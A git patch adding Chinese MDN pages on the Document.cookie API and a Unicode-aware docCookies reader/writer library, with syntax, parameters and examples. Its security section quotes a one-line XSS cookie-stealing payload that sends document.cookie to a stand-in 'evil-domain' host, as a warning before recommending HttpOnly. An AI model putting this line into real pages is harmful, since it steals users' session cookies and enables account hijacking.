From 33058f2b292b3a581333bdfb21b8f671898c5060 Mon Sep 17 00:00:00 2001 From: Peter Bengtsson Date: Tue, 8 Dec 2020 14:40:17 -0500 Subject: initial commit --- files/zh-cn/web/api/document/cookie/index.html | 293 +++++++++++++++++++++ .../simple_document.cookie_framework/index.html | 218 +++++++++++++++ 2 files changed, 511 insertions(+) create mode 100644 files/zh-cn/web/api/document/cookie/index.html create mode 100644 files/zh-cn/web/api/document/cookie/simple_document.cookie_framework/index.html (limited to 'files/zh-cn/web/api/document/cookie') diff --git a/files/zh-cn/web/api/document/cookie/index.html b/files/zh-cn/web/api/document/cookie/index.html new file mode 100644 index 0000000000..bf09d2d80d --- /dev/null +++ b/files/zh-cn/web/api/document/cookie/index.html @@ -0,0 +1,293 @@ +--- +title: Document.cookie +slug: Web/API/Document/cookie +tags: + - Document.cookie + - cookie +translation_of: Web/API/Document/cookie +--- +
{{APIRef("DOM")}}
+ +
+ +

获取并设置与当前文档相关联的 cookie。可以把它当成一个 getter and setter

+ +

语法

+ +
读取所有可从此位置访问的Cookie
+ +
allCookies = document.cookie;
+ +

在上面的代码中,allCookies被赋值为一个字符串,该字符串包含所有的Cookie,每条cookie以"分号和空格(; )"分隔(即, key=value 键值对)。

+ + + +
document.cookie = newCookie;
+ +

newCookie是一个键值对形式的字符串。需要注意的是,用这个方法一次只能对一个cookie进行设置或更新。

+ + + +
+

备注: 在{{Gecko("6.0")}}前,被引号括起的路径的引号会被当做路径的一部分,而不是被当做定界符。现在已被修复。

+
+ +

示例

+ +

示例1: 简单用法

+ +
document.cookie = "name=oeschger";
+document.cookie = "favorite_food=tripe";
+alert(document.cookie);
+// 显示: name=oeschger;favorite_food=tripe
+
+ +

示例2: 得到名为test2的cookie

+ +
document.cookie = "test1=Hello";
+document.cookie = "test2=World";
+
+var myCookie = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");
+
+alert(myCookie);
+// 显示: World
+
+ +

示例3: 只执行某事一次

+ +

要使下面的代码工作,请替换所有someCookieName (cookie的名字)为自定义的名字。

+ +
if (document.cookie.replace(/(?:(?:^|.*;\s*)someCookieName\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
+  alert("Do something here!");
+  document.cookie = "someCookieName=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/";
+}
+}
+
+ +

+ +

一个小框架:一个完整支持unicode的cookie读取/写入器

+ +

作为一个格式化过的字符串,cookie的值有时很难被自然地处理。下面的库的目的是通过定义一个和Storage对象部分一致的对象(docCookies),简化document.cookie 的获取方法。它提供完全的Unicode支持。

+ +
/*\
+|*|
+|*|  :: cookies.js ::
+|*|
+|*|  A complete cookies reader/writer framework with full unicode support.
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/document.cookie
+|*|
+|*|  This framework is released under the GNU Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
+|*|
+|*|  Syntaxes:
+|*|
+|*|  * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
+|*|  * docCookies.getItem(name)
+|*|  * docCookies.removeItem(name[, path], domain)
+|*|  * docCookies.hasItem(name)
+|*|  * docCookies.keys()
+|*|
+\*/
+
+var docCookies = {
+  getItem: function (sKey) {
+    return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[-.+*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
+  },
+  setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
+    if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; }
+    var sExpires = "";
+    if (vEnd) {
+      switch (vEnd.constructor) {
+        case Number:
+          sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd;
+          break;
+        case String:
+          sExpires = "; expires=" + vEnd;
+          break;
+        case Date:
+          sExpires = "; expires=" + vEnd.toUTCString();
+          break;
+      }
+    }
+    document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : "");
+    return true;
+  },
+  removeItem: function (sKey, sPath, sDomain) {
+    if (!sKey || !this.hasItem(sKey)) { return false; }
+    document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + ( sDomain ? "; domain=" + sDomain : "") + ( sPath ? "; path=" + sPath : "");
+    return true;
+  },
+  hasItem: function (sKey) {
+    return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(sKey).replace(/[-.+*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
+  },
+  keys: /* optional method: you can safely remove it! */ function () {
+    var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/);
+    for (var nIdx = 0; nIdx < aKeys.length; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); }
+    return aKeys;
+  }
+};
+ +
Note: 对于永久cookie我们用了Fri, 31 Dec 9999 23:59:59 GMT作为过期日。如果你不想使用这个日期,可使用世界末日Tue, 19 Jan 2038 03:14:07 GMT,它是32位带符号整数能表示从1 January 1970 00:00:00 UTC开始的最大秒长(即01111111111111111111111111111111, 是 new Date(0x7fffffff * 1e3)).
+ +

写入cookie

+ +
语法
+ +
docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
+ +
描述
+ +

创建或覆盖一个cookie

+ +
参数
+ +
+
name (必要)
+
要创建或覆盖的cookie的名字 (string)。
+
value (必要)
+
cookie的值 (string)。
+
end (可选)
+
最大年龄的秒数 (一年为31536e3, 永不过期的cookie为Infinity) ,或者过期时间的GMTString格式或Date对象; 如果没有定义则会在会话结束时过期 (number – 有限的或 Infinitystring, Date object or null)。
+
path (可选)
+
例如 '/', '/mydir'。 如果没有定义,默认为当前文档位置的路径。(string or null)。路径必须为绝对路径(参见 RFC 2965)。关于如何在这个参数使用相对路径的方法请参见这段
+
domain (可选)
+
例如 'example.com', '.example.com' (包括所有子域名), 'subdomain.example.com'。如果没有定义,默认为当前文档位置的路径的域名部分 (stringnull)。
+
secure (可选)
+
cookie只会被https传输 (booleannull)。
+
+ +

得到cookie

+ +
语法
+ +
docCookies.getItem(name)
+ +
描述
+ +

读取一个cookie。如果cookie不存在返回null

+ +
参数
+ +
+
name
+
读取的cookie名 (string).
+
+ +

移除cookie

+ +
Syntax
+ +
docCookies.removeItem(name[, path],domain)
+ +
描述
+ +

删除一个cookie。

+ +
参数
+ +
+
name
+
要移除的cookie名(string).
+
path (可选)
+
例如 '/', '/mydir'。 如果没有定义,默认为当前文档位置的路径。(string or null)。路径必须为绝对路径(参见 RFC 2965)。关于如何在这个参数使用相对路径的方法请参见这段
+
domain (可选)
+
例如 'example.com', '.example.com' (包括所有子域名), 'subdomain.example.com'。如果没有定义,默认为当前文档位置的路径的域名部分 (stringnull)。
+
+ +

检测cookie

+ +
语法
+ +
docCookies.hasItem(name)
+ +
描述
+ +

检查一个cookie是否存在

+ +
参数
+ +
+
name
+
要检查的cookie名 (string).
+
+ +

得到所有cookie的列表

+ +
语法
+ +
docCookies.keys()
+ +
描述
+ +

返回一个这个路径所有可读的cookie的数组。

+ +

示例用法:

+ +
docCookies.setItem("test0", "Hello world!");
+docCookies.setItem("test1", "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9", Infinity);
+docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12));
+docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog");
+docCookies.setItem("test4", "Hello world!", "Sun, 06 Nov 2022 21:43:15 GMT");
+docCookies.setItem("test5", "Hello world!", "Tue, 06 Dec 2022 13:11:07 GMT", "/home");
+docCookies.setItem("test6", "Hello world!", 150);
+docCookies.setItem("test7", "Hello world!", 245, "/content");
+docCookies.setItem("test8", "Hello world!", null, null, "example.com");
+docCookies.setItem("test9", "Hello world!", null, null, null, true);
+docCookies.setItem("test1;=", "Safe character test;=", Infinity);
+
+alert(docCookies.keys().join("\n"));
+alert(docCookies.getItem("test1"));
+alert(docCookies.getItem("test5"));
+docCookies.removeItem("test1");
+docCookies.removeItem("test5", "/home");
+alert(docCookies.getItem("test1"));
+alert(docCookies.getItem("test5"));
+alert(docCookies.getItem("unexistingCookie"));
+alert(docCookies.getItem());
+alert(docCookies.getItem("test1;="));
+ +

安全

+ +

路径限制并不能阻止从其他路径访问cookie. 使用简单的DOM即可轻易地绕过限制(比如创建一个指向限制路径的, 隐藏的iframe, 然后访问其 contentDocument.cookie 属性). 保护cookie不被非法访问的唯一方法是将它放在另一个域名/子域名之下, 利用同源策略保护其不被读取.

+ +

Web应用程序通常使用cookies来标识用户身份及他们的登录会话. 因此通过窃听这些cookie, 就可以劫持已登录用户的会话. 窃听的cookie的常见方法包括社会工程和XSS攻击 -

+ +
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
+ +

HttpOnly 属性可以阻止通过javascript访问cookie, 从而一定程度上遏制这类攻击. 参见 Cookies and Security.

+ +

备注

+ + + +

规范

+ +

DOM Level 2: HTMLDocument.cookie

+ +

参见

+ + diff --git a/files/zh-cn/web/api/document/cookie/simple_document.cookie_framework/index.html b/files/zh-cn/web/api/document/cookie/simple_document.cookie_framework/index.html new file mode 100644 index 0000000000..450751cefa --- /dev/null +++ b/files/zh-cn/web/api/document/cookie/simple_document.cookie_framework/index.html @@ -0,0 +1,218 @@ +--- +title: 简单的cookie框架 +slug: Web/API/Document/cookie/Simple_document.cookie_framework +tags: + - Cookies + - cookie +translation_of: Web/API/Document/cookie/Simple_document.cookie_framework +--- +

一个小型框架: 一个完整的cookies读/写器对Unicode充分支持

+ +

由于Cookie只是特殊格式的字符串,因此有时很难管理它们。 以下库旨在通过定义一个与一个Storage 对象部分一致的对象(docCookies)来抽象对document.cookie的访问。

+ +

 以下代码也在GitHub上获取。它是基于GNU General Public License v3.0 许可 (许可链接)

+ +
+ +
/*\
+|*|
+|*|  :: cookies.js ::
+|*|
+|*|  A complete cookies reader/writer framework with full unicode support.
+|*|
+|*|  Revision #1 - September 4, 2014
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/document.cookie
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|  https://github.com/madmurphy/cookies.js
+|*|
+|*|  This framework is released under the GNU Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
+|*|
+|*|  Syntaxes:
+|*|
+|*|  * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
+|*|  * docCookies.getItem(name)
+|*|  * docCookies.removeItem(name[, path[, domain]])
+|*|  * docCookies.hasItem(name)
+|*|  * docCookies.keys()
+|*|
+\*/
+
+var docCookies = {
+  getItem: function (sKey) {
+    if (!sKey) { return null; }
+    return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
+  },
+  setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
+    if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; }
+    var sExpires = "";
+    if (vEnd) {
+      switch (vEnd.constructor) {
+        case Number:
+          sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd;
+          break;
+        case String:
+          sExpires = "; expires=" + vEnd;
+          break;
+        case Date:
+          sExpires = "; expires=" + vEnd.toUTCString();
+          break;
+      }
+    }
+    document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : "");
+    return true;
+  },
+  removeItem: function (sKey, sPath, sDomain) {
+    if (!this.hasItem(sKey)) { return false; }
+    document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "");
+    return true;
+  },
+  hasItem: function (sKey) {
+    if (!sKey) { return false; }
+    return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
+  },
+  keys: function () {
+    var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/);
+    for (var nLen = aKeys.length, nIdx = 0; nIdx < nLen; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); }
+    return aKeys;
+  }
+};
+ +
Note: 对于never-expire-cookies  我们使用一个随意的遥远日期Fri, 31 Dec 9999 23:59:59 GMT. 处于任何原因,你担心这样一个日期,使用 惯例世界末日Tue, 19 Jan 2038 03:14:07 GMT - 这是自1970年1月1日00:00:00 UTC以来使用 有符号的32位二进制整数表示的最大秒数。(i.e., 01111111111111111111111111111111 which is new Date(0x7fffffff * 1e3)).
+ +

cookie的写入

+ +
语法
+ +
docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
+ +
Description
+ +

新增/重写一个 cookie.

+ +
参数
+ +
+
name
+
新增/重写一个 cookie的 名字  (字符传).
+
value
+
cookie的 (字符串).
+
end 可选
+
max-age(最大有效时间)单位秒 (e.g. 31536e3 表示一年, Infinity  表示永不过期的cookie), 或者以GMTString 格式或者Date object 的expires date(过期时间); 如果没有,指定的cookie将在会话结束时到期 (number – finite or Infinitystring, Date object or null). +
+

Note: 尽管 officially defined in rfc6265, max-age 在 Internet Explorer, Edg和一些移动端浏览器上不兼容. 因此,将数字传递给end参数可能无法按预期工作. 可能的解决方案可能是将相对时间转换为绝对时间。例如,以下代码:

+ +
docCookies.setItem("mycookie", "Hello world!", 150);
+ +

可以使用绝对日期重写,如下例所示:

+ +
 maxAgeToGMT (nMaxAge) {
+  return nMaxAge === Infinity ? "Fri, 31 Dec 9999 23:59:59 GMT" : (new Date(nMaxAge * 1e3 + Date.now())).toUTCString();
+}
+
+docCookies.setItem("mycookie", "Hello world!", maxAgeToGMT(150));
+ +

在上面的代码中,函数 maxAgeToGMT() 用于从相对时间(即,从“age”)创建GMTString.

+
+
+
path 可选
+
可访问此cookie的路径. 例如,“/”,“/ mydir”;如果未指定,则默认为当前文档位置的当前路径(string or null). The path must be absolute (see RFC 2965). For more information on how to use relative paths in this argument, see this paragraph.
+
domain 可选
+
可访问此cookie的域名. 例如,“example.com”“.example.com”(包括所有子域)或“subdomain.example.com”; 如果未指定,则默认为当前文档位置的主机端口(string or null).
+
secure 可选
+
cookie将仅通过https安全协议传输 (boolean or null).
+
+ +

获取一个cookie

+ +
语法
+ +
docCookies.getItem(name)
+ +
描述
+ +

读一个cookie。如果cookie不存在,则返回null值。Parameters

+ +
参数
+ +
+
name
+
读取cookie的名字 (string).
+
+ +

移除一个cookie

+ +
语法
+ +
docCookies.removeItem(name[, path[, domain]])
+ +
描述
+ +

删除一个cookie.

+ +
参数
+ +
+
name
+
待移除cookie的名字 (string).
+
path 可选
+
例如,"/","/ mydir";如果未指定,则默认为当前文档位置的当前路径 (string or null). The path must be absolute (see RFC 2965). For more information on how to use relative paths in this argument, see this paragraph.
+
domain 可选
+
例如, "example.com",  或者 "subdomain.example.com"; 如果未指定,则默认为当前文档位置的主机端口(字符串或null),但不包括子域。 (string or null), 但不包括子域名。与早期的规范相反,域名中的前置的点被忽略。如果指定了域,则始终包含子域。 +
Note: 要删除跨子域的cookie,您需要想setItem()样removeItem()中指定domain属性。
+
+
+ +

检查一个cookie(是否存在)

+ +
语法
+ +
docCookies.hasItem(name)
+ +
描述
+ +

检查当前位置是否存在cookie。

+ +
参数
+ +
+
name
+
待检查cookie的名字 (string).
+
+ +

获取所有cookie列表

+ +
Syntax
+ +
docCookies.keys()
+ +
Description
+ +

返回此位置的所有可读cookie的数组。

+ +

Example usage:

+ +
docCookies.setItem("test0", "Hello world!");
+docCookies.setItem("test1", "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9", Infinity);
+docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12));
+docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog");
+docCookies.setItem("test4", "Hello world!", "Wed, 19 Feb 2127 01:04:55 GMT");
+docCookies.setItem("test5", "Hello world!", "Fri, 20 Aug 88354 14:07:15 GMT", "/home");
+docCookies.setItem("test6", "Hello world!", 150);
+docCookies.setItem("test7", "Hello world!", 245, "/content");
+docCookies.setItem("test8", "Hello world!", null, null, "example.com");
+docCookies.setItem("test9", "Hello world!", null, null, null, true);
+docCookies.setItem("test1;=", "Safe character test;=", Infinity);
+
+alert(docCookies.keys().join("\n"));
+alert(docCookies.getItem("test1"));
+alert(docCookies.getItem("test5"));
+docCookies.removeItem("test1");
+docCookies.removeItem("test5", "/home");
+alert(docCookies.getItem("test1"));
+alert(docCookies.getItem("test5"));
+alert(docCookies.getItem("unexistingCookie"));
+alert(docCookies.getItem());
+alert(docCookies.getItem("test1;="));
+
-- cgit v1.2.3-54-g00ecf